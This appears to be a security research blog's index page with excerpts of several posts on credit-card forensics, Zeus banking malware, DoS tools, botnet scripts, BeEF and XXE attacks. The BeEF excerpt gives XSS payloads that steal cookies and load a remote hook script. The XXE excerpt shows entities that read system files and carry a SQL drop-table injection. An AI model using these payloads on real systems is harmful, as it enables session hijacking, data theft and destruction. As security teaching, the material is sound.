SpiderLabs Anterior

Reading between the lines: Harvesting Credit Cards from ISO8583-1987 Traffic

Having investigated cardholder data security breaches for a few years now, I have noticed changes in attacker behavior when choosing entities to target. Over the past 3 years trends in attack vectors have been transformed as the hacker community matured and set their sights on larger organizations to prey on. The migration from attacking small merchants to large-scale organizations brings with it a whole host of changes to the forensic community, particularly the differences in technologies used in the environments that are now being targeted. In the past, it was simple enough to investigate a small ecommerce merchant that had been compromised via SQL injection, now with larger service providers and banks being the targets of compromises the focus if the investigation shifts from mainstream cardholder data transmission protocols like TCP/IP to the less common types such as the standard for Financial Transaction Card Messages, ISO8583.

iOS Application Security: Top 50 Free iPad Apps - The View From The Top Isn’t Much Better [Part 1 of 2]

Hello. I’m Tom Neaves. I recently joined SpiderLabs as a Senior Security Consultant based out of the bustling Trustwave London, UK office. I must also confess that I’m a bit of an Apple fanboy. I thought it would make sense to mix my two passions together (security and apples) to bring you a couple of blog posts.

As I’m involved in the OWASP Mobile Security Project (where we try and get our heads around mobile security issues), it's probably not surprising I carried out some research into the security of the most popular iOS applications. So, without further ado. Sit back, relax and crack open the popcorn. Here is part 1.

Connecting the Dots w/ PenTest Manager

We are evolving how the penetration testing industry reports vulnerabilities.  Traditional PDF reports just don’t work anymore, we need a way to easily query vulnerability data, track, export/import, and integrate into existing business processes.  Beyond the obvious data usability issues, most consulting firms fail to accurately explain how vulnerabilities relate in context of an application or network.  Getting a list of canned vulnerabilities from a penetration test fails to paint the full picture of the risk.  The reality is that a couple low risks may seem insignificant, but taken together may lead to a full compromise.  One reporting tool, CVSS, is great for tracking and categorizing risks, but fails to connect the dots between vulnerabilities to accurately model how attacks work.  How do you explain an attack sequence linking multiple vulnerabilities in an easy to understand, repeatable, reliable manner to all levels of the organization? 

We just released another update to PenTest Manager last night, the reporting tool used by SpiderLabs to manage, track, and report results of penetration tests.  This update includes major enhancements to the PenTest Manager backend to support much more advanced reporting capabilities planned for July - Stay tuned!

“Catch Me If You Can” Trojan Banker Zeus Strikes Again (Part 2 of 5)

This is the second blog in this series of blogs. The previous blog provided a general overview of the attack.

“Catch Me If You Can” Trojan Banker Zeus Strikes Again (Part 1 of 5)

In this blog we will discuss the techniques used by the cyber-gang to exploit users’ machines. We will analyze Blackhole Exploit Kit as the main attack vector that was used.

Blackhole Exploit Kit

An exploit kit is a Web tool that provides pre-packaged exploits of various vulnerabilities for multiple products, such as Internet Explorer, Adobe Reader, Java and more. Exploit kits are specifically designed for cybercriminals who lack any deep knowledge of programming or hacking. For as little as a few hundred dollars, any cybercriminal can easily start a cyber-attack.

The first version of the Blackhole exploit kit was released in September 2010. Since then, we have witnessed thousands of domains spreading exploits generated by this kit, making it the most popular exploit kit by far.

Sniper Forensics: Reloaded - Part 1

Introduction

Since it was first released in 2009, Sniper Forensics has provided digital forensic investigators something that has (in my opinion, for many years) been missing from their arsenal...a sound, repeatable methodology.

By integrating the Sniper Forensics methodology into their daily case work, investigators the world over have blogged, tweeted, texted, and emailed me that their cases have been solved faster and with greater accuracy than ever before.  The methodology just plain works, each and every time.  However, to date, the world of digital forensic has been the only beneficiary to this deadly accurate methodology.  Post incident...find out what happened.

Well get ready...That's all about to change.

HULK vs. THOR - Application DoS Smackdown

SpiderLabs Research Team Contributions from:

@jgrunzweig

@ethackal

@claudijd

There was a new web server DoS tool released yesterday called HULK (Http Unbearable Load King).  Here is a snippet from the blog page:

In my line of work, I get to see tons of different nifty hacking tools, and traffic generation tools that are meant to either break and steal information off a system, or exhaust its resource pool, rendering the service dead and putting the system under a denial of service.

For a while now, I have been playing with some of the more exotic tools, finding that their main problem is always the same… they create repeatable patterns. too easy to predict the next request that is coming, and therefor mitigate. Some, although elegant, lack the horsepower to really put a system on its knees.

For research purposes, I decided to take some of the lessons I’ve learned over time and practice what I preach.

Enforcing Python’s engines, I wrote a script that generates some nicely crafted unique Http requests, one after the other, generating a fair load on a webserver, eventually exhausting it of resources. this can be optimized much much further, but as a proof of concept and generic guidance it does its job.

[Honeypot Alert] Inside the Attacker's Toolbox: Botnet Web Attack Scripts

Have you ever wondered what script/code/tool was behind the automated web attacks that you see in your web server log files?  This blog post will shed some light on one of the most common tactics used by web attackers: Botnet Web Attack Scripts.

Attack Sources: Compromised Web Servers

What we are finding when analyzing attacking IP address (as part of our IP Reputation data feed for the commercial ModSecurity rules) is that a large portion of these attacking sources are actually compromised web servers.  Attackers are exploiting various web application vulnerabilities through attacks such as RFI to download and execute attacker code.  

Trustwave SpiderLabs Research Team has obtained a large number of scripts and tools from these attack source websites and analyzed their capabilities.  Let't take a look at some common functionality.

Botnet Clients

If the RFI attack succeeds, then botnet client code will usually log into an IRC channel from the web server host.

 

About me, myself and BeEF

Hello followers of SpiderLabs Anterior.

I’m Michele “antisnatchor” Orru, a new Senior Spider that recently joined the Application Security team in EMEA (London). I love both writing and breaking code. That’s why I particularly like source code analysis, debuggers and delve my hands deeper on software internals.

 Coming from a strong Java Enterprise development background for various years, I got into Ruby a few years ago when I heard that Wade Alcorn, the creator of the BeEF project, wanted to rewrite the whole framework from scratch. So finally no more PHP that I always hated, especially when writing and securing code for customers. I had a lot of friends that were definitely happy after the Java to Ruby transition, so I joined the BeEF project. I wrote a technical article regarding why PHP BeEF is discontinued and why you should use the Ruby BeEF in our blog.

You will now be wondering what the hell is BeEF :D

[Figure 1: BeEF console logs. Note the new hooked browsers Firefox and Safari]

BeEF is a powerful platform for client-side pwnage, XSS post-exploitation and generally victim browser security-context abuse. Every browser is in a different security context: browser and operating system type/version, plugins installed, specific domain hooked could open different security holes. Imagine Internet Explorer 8 on Windows XP-SP3 lacking patches, vulnerable to the Aurora exploit, or maybe Firefox fully patched with a vulnerable Java plugin. The framework allows the penetration tester to select specific modules (in real-time) to target each browser, and therefore each context.

[Figure 2: BeEF admin console. Here you can control your hooked browsers]

Lets discuss a practical example. You are able to inject Javascript code in a web application, for example using XSS or HTTP Response Splitting. You’re happy to see a lame alert box popping up in your screen, and you send to the pentest requestor - your customer – tons of vectors with alert(1). 

You’re clever, you’re a sla.cke.r and you use a known vector to bypass Chrome 18 XSS filter: <svg><script>//&#x0A;alert(1)</script>

Wait, you can be smarter and send document.cookie to your PHP page. You modify your vector as the following: <svg><script>//&#x0A;document.location=’yoursite.com?cookie=’+document.cookie</script>

Cool, but what if the web application prevents Session Hijacking checking for UserAgent, source IP, browser type and version and so on? You would say…ok UserAgent is spoofable, but what about the source IP or whatever other security mechanisms implemented by the web application?

 So, to solve the problem, you inject the BeEF hook and use the Tunneling Proxy feature. This allows you to proxy requests through the victim browser, so her browser will effectively request resources you want and send back the results.

You modify your vector in order to dynamically load an external script, the BeEF hook. After applying some very simple encoding iterations, your script will become:

<svg><script>//&#x0A;eval(atob(String.fromCharCode(99,122,49,107,98,50,78,49,98,87,86,117,100,67,53,106,99,109,86,104,100,71,86,70,98,71,86,116,90,87,53,48,75,67,100,122,89,51,74,112,99,72,81,110,75,84,116,122,76,110,82,53,99,71,85,57,74,51,82,108,101,72,81,118,97,109,70,50,89,88,78,106,99,109,108,119,100,67,99,55,99,121,53,122,99,109,77,57,74,50,104,48,100,72,65,54,76,121,56,120,78,122,73,117,77,84,89,117,78,106,99,117,77,84,111,122,77,68,65,119,76,50,104,118,98,50,115,117,97,110,77,110,79,50,82,118,89,51,86,116,90,87,53,48,76,109,100,108,100,69,86,115,90,87,49,108,98,110,82,122,81,110,108,85,89,87,100,79,89,87,49,108,75,67,100,111,90,87,70,107,74,121,108,98,77,70,48,117,89,88,66,119,90,87,53,107,81,50,104,112,98,71,81,111,99,121,107,55)));</script>

In it’s plain form this is basically:

<svg><script>//&#x0A;s=document.createElement('script');s.type='text/javascript';s.src='http://172.16.67.1:3000/hook.js';document.getElementsByTagName('head')[0].appendChild(s);</script>

Source IP protections, UserAgent and so on will not be effective in this case, and forensics will also have an hard job to detect what happened (like, who added that admin user? Looks legitimate!) 

In the next article we’ll see the Tunneling Proxy internals, including the new cutting-edge WebSockets support that will increase the speed of the proxy almost to real-time. Stay tuned!

Too XXE For My Shirt

Until tonight, I'd never gotten a chance to try an xml external entity (XXE) attack. Earlier, I was updating XMLmao and XSSmh with the same interface improvements and custom blacklist features already present in SQLol. The idea, eventually, is to combine them to form a training environment whose working title is the "Magical Code Injection Rainbow" and which would continue to be free (both as in liberty and as in beer) as the individual projects are.

XMLmao has had support for XML injection attacks since its inception, but only allowed for XXE attacks since the latest version.

What most people know of XML is the basic document structure, which is just hierarchical tags like its popular cousin HTML. Lesser known are the document type definition (DTD) directives, which can be specified in-line or externally. One such directive is the ENTITY directive, which looks like this:

<!ENTITY copyright "(c) FooBar LLC 2012" >

This entity can be placed in an XML document like so:

<foo>&copyright;</foo>

And the XML parser will dynamically replace the content, resulting in something like this:

<foo>(c) FooBar LLC 2012</foo>

Now here's where it gets interesting: Entities can be defined using external sources. These sources are specified as URIs. If we want to include the contents of a file on the system, we can do so as follows:

<!ENTITY xxe SYSTEM "file:///var/www/mydata.xml" >

This will replace any instance of "&xxe;" with the contents of /var/www/mydata.xml. If we had control over this entity or could define our own, we could define this entity as being the contents of /etc/passwd or some other such file. We can also use HTTP URIs, which allows us to use the XML parser as a sort of proxy, retrieving data from any HTTP resource to which the system running the XML parse can reach. Internal resources which may be otherwise inaccessible may now be within reach.

It's possible to use this functionality as a jury-rigged port scanner, to discover internal content. It may even be possible to exploit internal resources, given that an exploit can be delivered through a URL. For instance:

<!ENTITY uhoh SYSTEM "http://10.1.1.152/foo.php?id=1;drop+table+important_things;--" >

Ouch.

If you'd like to try XXE attacks, go get the latest version of XMLmao.

“Catch Me If You Can” Trojan Banker Zeus Strikes Again (Part 1 of 5)

In the next series of blogs we will describe in detail an attack from one of the most sophisticated cybercrime groups. We will investigate every layer of the cyber-attack from infecting innocent users with bots to collecting their money into the cyber-gang hands. In this blog we will provide an overview of the attack and describe the spreading technique of the bot.

Overview

Prior to advent of information technology, criminals typically stole by way of breaking and entering, such as by targeting banks to steal money from a teller or, if they were smart or lucky enough, the safe. As the years passed and technology advanced, another layer of complexity has been added to criminal activity: “cybercrime.” In the last few years, online banking has become the next vector of attack for cybercriminals. These hackers realized early on that breaking into a user’s PC is much easier than breaking into a bank or even a bank’s website. More importantly, they realized that getting caught for online crime was highly unlikely.

Last year, Trustwave SpiderLabs[1], discovered a sophisticated cybercrime operation that targeted online banking users in the U.K. We found a Command and Control (C&C) server located in Moldova that controls more than 30,000 machines which were infected with the Zeus banking Trojan. This malware, known to have been around for several years, steals personal information, receives commands from its server and performs unauthorized bank transactions via its plug-ins. This attack has stolen more than £1 million. The same cybercrime group launched a similar online banking attack more than a year ago. Unlike most cybercrime attacks that operate with a single hacker or a small team, this attack operation was launched on a much larger scale. The manager of this operation has several affiliates, each launching bots of his own. Trustwave SpiderLabs has been and continues to work closely with law enforcement agencies to investigate this attack.

Details of the Attack

However, before investigating the actual work pattern of the cybercrime gang, let’s review a simple diagram of the attack, and then take a closer look at a few attack vectors that spread the bot.

 

Phony Flash Player

 

Cybercriminals spread Phishing emails and posts on social networking websites, manipulating users into clicking on a malicious URL. In this specific attack, the URL has led to a fake Facebook login page, asking the user to download an update for Adobe Flash player.

 Once the user clicks on the link, a bot is downloaded to the user’s PC.

hxxp://session10020607122327.idlefgt.com hxxp://session25094266770142.customidet.com hxxp://session48408524699417.pubident.com hxxp://session56761735331539.idlefgt.com

In addition to the fake Flash Player update, the page also uses a drive-by to maximize the chance of successful exploitation of the user’s PC. The technique uses an iFrame object that redirects the browser to a malicious exploit kit.

The browser is redirected to a server hosting the Blackhole exploit kit. If the exploitation is successful, the same malware payload (the phony Flash update) is installed.

In the next blog in this series, we will analyze the known Blackhole Exploit Kit that has been used to exploit users’ machines

---

[1] Data was collected by M86 Security Labs, now part of Trustwave SpiderLabs. M86 Security was acquired by Trustwave in March 2012. Read the press release here.